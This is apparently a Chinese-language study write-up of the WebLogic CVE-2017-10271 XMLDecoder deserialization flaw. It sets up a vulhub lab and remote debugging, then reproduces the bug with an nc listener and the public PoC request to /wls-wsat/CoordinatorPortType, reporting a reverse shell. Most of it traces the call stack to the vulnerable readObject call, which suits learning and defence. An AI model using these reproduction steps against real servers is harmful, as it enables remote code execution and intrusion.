WebLogic XMLDecoder反序列化漏洞学习
Contents
weblogic简介
Weblogic是美国Oracle公司出品的一个应用服务器(application server),确切的说是一个基于Java EE架构的中间件,是用于开发、集成、部署和管理大型分布式Web应用、网络应用和 数据库应用的Java应用服务器。
Weblogic将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中,是商业市场上主要的Java(Java EE)应用服务器软件之一,也是世界上第一个成功商业化的Java EE应用服务器,具有可扩展性、快速开发、灵活、可靠等优势。
版本
一般使用的是10.3.6,这两个大版本也叫WebLogic Server 11g和WebLogic Server 12c。
CVE-2017-10271
原因
weblogic “wls-wsat”组件在反序列化操作时使用了Oracle官方的JDK组件中”XMLDecoder”类进行XML反序列化操作引发了代码执行。
XMLDecoder类用于读取使用XMLEncoder创建的XML文档
环境搭建
使用vulhub中的docker搭建复现环境,搭建环境可以参考https://vulhub.org/#/docs/
1 | https://github.com/vulhub/vulhub/blob/master/weblogic/CVE-2017-10271 |
因为要动态调试,需要开启一个远程调试的端口8053,所以将docker-compose.yml文件改动如下
1 | version: '2'services: |
IDEA远程调试
,关于Weblogic的远程调试方法可以参考:
使用idea打开拷贝出的项目文件,将项目中的/server/lib和modules这两个文件夹添加到library。
添加后,就会发现里面的.jar和.war的包都可以点开了,并且可以搜索里面的一些类和字符串了。
然后我们在idea中设置remote debug,然后点击右上方的debug,出现如下字样,说明已经配置ok。
1 | Connected to the target VM, address: 'localhost:8453', transport: 'socket' |
漏洞复现
首先我们复现一下漏洞,在response中我们可以看到命令执行的调用栈。
首先我们开一个nc监听。
1 | nc -lvvp 8888 |
然后直接拿vulhub上的poc打:
1 | POST /wls-wsat/CoordinatorPortType HTTP/1.1 |
反弹shell成功
通过查看response中的xml数据,我们可以在<ns2:frame />标签中看到调用栈。
其中重要的调用栈有如下一些方法:
1 | - weblogic.wsee.jaxws.workcontext.WorkContextServerTube->processRequest |
我们接下来就根据上面复现得到的调用栈进行跟踪调试。
动态调试
根据poc找到问题出在wls-wsat
,然后找到对应的wls-wsat.war包,打开后点击web.xml
查看有哪些接口
然后我们直接跟踪调用栈的第一个processRequest 方法。
weblogic.wsee.jaxws.workcontext.WorkContextServerTube
这里的var1是传进来的XML数据。var3是soap头部解析的结果 不为空 于是 跟入readHeaderOld。
weblogic.wsee.jaxws.workcontext.WorkContextTube
在此方法中实例化了WorkContextXmlInputAdapter类,并且将获取到的XML格式的序列化数据传递到此类的构造方法中,之后跟进receive()
weblogic.wsee.jaxws.workcontext.WorkContextServerTube
var2获取一个WorkContextMapImpl实例,然后调用receiveRequest方法将var1值传入。
继续跟进receiveRequest()
weblogic.workarea.WorkContextMapImpl
将var1传到了receiveRequest()方法中,继续跟进
weblogic.workarea.WorkContextLocalMap
WorkContextEntryImpl.readEntry(var1);
对传进来的数据进行处理,具体的代码好像看不太懂,但是跟进!readEntry()!
weblogic.workarea.spi.WorkContextEntryImpl
继续跟进readUTF():
weblogic.wsee.workarea.WorkContextXmlInputAdapter
在这里就执行了this.xmlDecoder.readObject(),对XMLDecoder对象进行了反序列化,导致RCE。
调用栈总结
参考文章
https://hu3sky.github.io/2019/10/16/weblogic/#%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90